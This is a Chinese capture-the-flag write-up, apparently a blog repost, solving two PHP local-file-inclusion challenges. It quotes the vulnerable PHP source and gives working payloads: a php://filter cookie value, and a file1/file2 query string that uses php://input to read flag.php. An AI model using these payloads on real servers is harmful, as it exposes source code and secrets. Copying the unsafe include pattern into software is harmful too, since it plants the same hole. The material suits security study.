本题来源攻防世界
解题思路:
首先分析代码,将cookie中‘language’的值传入lan
在后续又使用include调用了lan这个变量,因此可以从此处写入读取flag.php的payload
可以使用burpsuite进行抓包后添加cookie值
name:language
value:php://filter/read=convert.base64-encode/resource=/var/www/html/flag
得到base64加密后再进行解码即可得到flag
第二题
fileinlucde
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
$file1 = $_GET["file1"];
$file2 = $_GET["file2"];
if(!empty($file1) && !empty($file2))
{
if(file_get_contents($file2) === "hello ctf")
{
include($file1);
}
}
else
die("NONONO");
}
分析代码可知,
file1 = flag.php 使用http://filter伪协议来获取源代码
file2 = hello ctf 想要让函数getcontent返回字符串,可以使用php://input伪协议绕过
因此可以构造如下payload
?file1=php://filter/convert.base64-encode/resource=flag.php&file2=php://input
同时在post中传入 hello ctf=hello ctf
因为post=传参是以键值对的形式进行传输的
之后打开burpsuite进行抓包,抓包后的结果去掉键只保留值 即 hello ctf 发送即可得到base64加密,解密即可得到flag
标签:Web,file1,file2,--,blogs,ctf,flag,php,hello From: https://www.cnblogs.com/heck1ng/p/17755536.html